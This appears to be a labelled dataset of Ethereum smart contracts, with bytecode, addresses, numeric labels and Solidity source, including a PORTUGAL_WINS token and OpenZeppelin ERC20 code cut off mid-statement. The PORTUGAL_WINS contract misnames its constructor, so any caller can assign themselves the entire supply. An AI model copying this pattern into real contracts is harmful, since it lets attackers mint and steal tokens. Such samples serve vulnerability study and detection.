0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610125578063095ea7b3146101b557806318160ddd1461021a57806323b872dd14610245578063313ce567146102ca57806340c10f19146102fb578063661884631461036057806370a08231146103c5578063715018a61461041c5780637d64bcb4146104335780638da5cb5b1461046257806395d89b41146104b9578063a9059cbb14610549578063d73dd623146105ae578063dd62ed3e14610613578063f2fde38b1461068a575b600080fd5b34801561010257600080fd5b5061010b6106cd565b604051808215151515815260200191505060405180910390f35b34801561013157600080fd5b5061013a6106e0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017a57808201518184015260208101905061015f565b50505050905090810190601f1680156101a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c157600080fd5b50610200600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061077e565b604051808215151515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610870565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061087a565b604051808215151515815260200191505060405180910390f35b3480156102d657600080fd5b506102df610c34565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030757600080fd5b50610346600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c47565b604051808215151515815260200191505060405180910390f35b34801561036c57600080fd5b506103ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b604051808215151515815260200191505060405180910390f35b3480156103d157600080fd5b50610406600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110be565b6040518082815260200191505060405180910390f35b34801561042857600080fd5b50610431611106565b005b34801561043f57600080fd5b5061044861120b565b604051808215151515815260200191505060405180910390f35b34801561046e57600080fd5b506104776112d3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c557600080fd5b506104ce6112f9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561050e5780820151818401526020810190506104f3565b50505050905090810190601f16801561053b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055557600080fd5b50610594600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611397565b604051808215151515815260200191505060405180910390f35b3480156105ba57600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115b6565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b50610674600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b2565b6040518082815260200191505060405180910390f35b34801561069657600080fd5b506106cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611839565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107765780601f1061074b57610100808354040283529160200191610776565b820191906000526020600020905b81548152906001019060200180831161075957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108b757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561090457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561098f57600080fd5b6109e0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a73826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ca557600080fd5b600360149054906101000a900460ff16151515610cc157600080fd5b610cd6826001546119aa90919063ffffffff16565b600181905550610d2d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f3e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fd2565b610f51838261199190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126957600080fd5b600360149054906101000a900460ff1615151561128557600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561138f5780601f106113645761010080835404028352916020019161138f565b820191906000526020600020905b81548152906001019060200180831161137257829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113d457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561142157600080fd5b611472826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611505826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119aa90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061164782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119aa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156118d157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561199f57fe5b818303905092915050565b600081830190508281101515156119bd57fe5b809050929150505600a165627a7a723058206c3c027039928c84a5bc5f257d547f72c18cf934bb2c76d9e00ad637398ef8f30029
[ 38 ]
0xf309856174718c37c35b87186d51d1b623e1ab89
pragma solidity ^0.4.21 ; contract PORTUGAL_WINS { mapping (address => uint256) public balanceOf; string public name = " PORTUGAL_WINS " ; string public symbol = " PORWI " ; uint8 public decimals = 18 ; uint256 public totalSupply = 288600762358868000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820da18d5500af37cb464ca59a885aa6e5ea0096374fd44038c7c13cdbc7871e02d0029
[ 38 ]
0xf309f3cefa0b7e135a8601c9088e4c04d2ed2200
// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = 